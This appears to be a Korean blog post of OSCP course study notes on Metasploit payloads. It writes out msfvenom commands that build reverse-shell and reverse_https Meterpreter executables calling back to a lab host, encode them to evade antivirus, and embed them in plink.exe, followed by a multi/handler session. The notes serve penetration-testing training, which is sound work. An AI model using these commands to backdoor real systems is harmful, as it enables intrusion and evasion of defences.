(구글링 내용추가)
메타스플로잇 공격은 주로 msfvenom -> msfconsole -> search -> use -> info -> show options -> set -> exploit ->
meterpreter 순으로 진행이 됩니다. 여기서 미터프리터는 in-memory DLL 인젝션을 사용한 페이로드로써, 최종적으로 희생자 pc의 exploit에 성공해서 미터프리터 세션이 맺어져 쉘 권한을 획득해 직접 희생자 pc에 명령을 내릴 수 있게 네트워크를 유지시켜줍니다.
- msfvenom은 악성파일를 만들어주는 역할.
- msfconsole의 exploit/multi/handler와 셋트임. venom에서 생성한 페이로드와 같은 페이로드를 지정해야함.
1. msfconsole실행 후 핸들러를 사용해 대기
2. venom으로 만든 악성파일을 클라이언트가 실행하면 세션이 연결된다.
16.6.4 - Executable Payloads
MSF에는 사용 가능한 다양한 페이로드가 있을 뿐만 아니라 이러한 페이로드를 ASP, VBScript, Java War, Windows DLL 및 EXE 등과 같은 다양한 파일 형식 및 형식으로 출력 할 수도 있습니다.
msfvenom유틸리티를 살펴보시고 raw Windows PE reverse Meterpreter 실행 파일을 생성하십시오.
root@kali:~# msfvenom -p windows/shell_reverse_tcp LHOST=10.11.0.5 LPORT=4444 -f exe -o shell_reverse.exe
....
Saved as: shell_reverse.exe
root@kali:~# file shell_reverse.exe
shell_reverse.exe: PE32 executable (GUI) Intel 80386, for MS Windows
PE 파일에 포함 된 셸 코드는 많은 MSF 인코더 중 하나를 사용하여 인코딩 할 수 있습니다.
과거에는 이러한 페이로드에 대한 안티 바이러스 탐지를 피하는데 도움이되었지만, 최신 AV 엔진에서는 더 이상 해당되지 않습니다.
root@kali:~# msfvenom -p windows/shell_reverse_tcp LHOST=10.11.0.5 LPORT=4444 -f exe -e x86/shikata_ga_nai -i 9 -o shell_reverse_msf_encoded.exe
....
Saved as: shell_reverse_msf_encoded.exe
root@kali:~#
MSF의 또 다른 유용한 기능은 기존 PE 실행 파일에 페이로드를 주입하는 기능으로 AV 탐지 가능성을 더욱 줄입니다.
root@kali:~# msfvenom -p windows/shell_reverse_tcp LHOST=10.11.0.5 LPORT=4444 -f exe -e x86/shikata_ga_nai -i 9 -x /usr/share/windows-binaries/plink.exe -o shell_reverse_msf_encoded_embedded.exe
....
Saved as: shell_reverse_msf_encoded_embedded.exe
root@kali:~#
이 페이로드는 클라이언트 측 공격, 백도어의 일부로 사용하거나 한 시스템에서 다른 시스템으로 페이로드를 가져 오는 쉬운 방법으로 사용할 수 있습니다.
16.6.5 - Reverse HTTPS Meterpreter
reverse_https Meterpreter 페이로드는 표준 미터 프리터 페이로드와 동일하게 작동하도록 설계되었지만 네트워크의 통신은 정상적인 HTTPS 트래픽처럼 보입니다. 따라서 심층 패킷 검사 필터를 통과 할뿐만 아니라 트래픽도 암호화 할 수 있습니다. 이것의 장점은 명백하며, 이것이 가장 인기있는 미터 프 레터 페이로드 중 하나입니다.
root@kali:~# msfvenom -p windows/meterpreter/reverse_https LHOST=10.11.0.5 LPORT=443 -f exe -o met_https_reverse.exe
16.6.6 - Metasploit Exploit Multi Handler
다른 모든 모듈이 MSF 내에서 호출되는 것과 같은 방식입니다.
아래 예에서, multi / handler가 들어오는 reverse_https Meterpreter 페이로드를 허용하도록 설정했습니다.
root@kali:~# msfconsole
msf > use exploit/multi/handler
msf exploit(handler) > set PAYLOAD windows/meterpreter/reverse_https
msf exploit(handler) > show options
...
msf exploit(handler) > exploit
익스플로러 핸들러 매개 변수가 설정되면 익스플로러 명령을 실행하여 핸들러를 사용하여 연결하거나 연결을 청취 할 수 있습니다.
이 경우 페이로드를 reverse_https Meterpreter로 설정하면 핸들러는 원하는 포트인 TCP 443에서 첫 번째 스테이지 리스너를 시작합니다. multi/handler가 첫 번째 스테이지 페이로드를 승인하면 페이로드의 두 번째 스테이지가 공급됩니다.
핸들러에의해 대상 머신으로 돌아갑니다.
msf exploit(handler) > exploit
[*] Started HTTPS reverse handler on https://10.11.0.5:443/
....
[*] Patched Communication Timeout at offset 640752...
[*] Meterpreter session 1 opened (10.11.0.5:443 -> 10.11.1.35:49159)
meterpreter >
* 와샥에서 TLS로 암호화 통신되어 전달되는 것을 확인할 수 있음.
16.6.7 - Revisiting Client Side Attacks
클라이언트 측 익스플로잇은 MSF를 자연스럽게 확장한 것이므로 조사 할 가치가 있는 특별한 기능이 있습니다.
클라이언트 측 공격의 일반적인 문제는 악용이 발생할 때 클라이언트 응용 프로그램이 종종 충돌하거나 중지되어 피해자가 악용된 응용 프로그램을 강제로 닫는 단계입니다. 우리의 쉘 코드는 일반적으로 익스플로잇 된 애플리케이션의 컨텍스트에서 실행되므로 애플리케이션을 닫으면 쉘 코드도 종료됩니다.
이러한 상황을 피하기 위해 Meterpreter 페이로드는 유사하거나 낮은 권한 프로세스로 마이그레이션되는 한 프로세스에서 다른 프로세스로 마이그레이션 할 수 있습니다. 이를 통해보다 안정적인 프로세스로 마이그레이션 할 수 있으며 클라이언트 응용 프로그램을 닫은 후에도 계속 실행됩니다.
16.6.8 - Exercises
1. Create a staged and a non-staged Linux binary payload to use on Kali.
2. Setup a Netcat listener and run the non-staged payload. Does it work?
3. Setup a Netcat listener and run the staged payload. Does it work?
4. Get a Meterpreter shell on your Windows system. Practice file transfers.
5. Inject a payload into plink.exe. Test it on your Windows system.
'OSCP > OSCP Course PDF' 카테고리의 다른 글
11. Privilege Escalation (0) | 2020.03.05 |
---|---|
14. Password Attacks -1 (cewl,fgdump) (0) | 2020.03.04 |
7. Win32 Buffer Overflow Exploitation (0) | 2020.03.02 |
16. Metasploit-1 / Payloads (Staged vs. Non(un)-Staged), meterpreter (0) | 2020.03.01 |
9. Working with Exploits (0) | 2020.02.27 |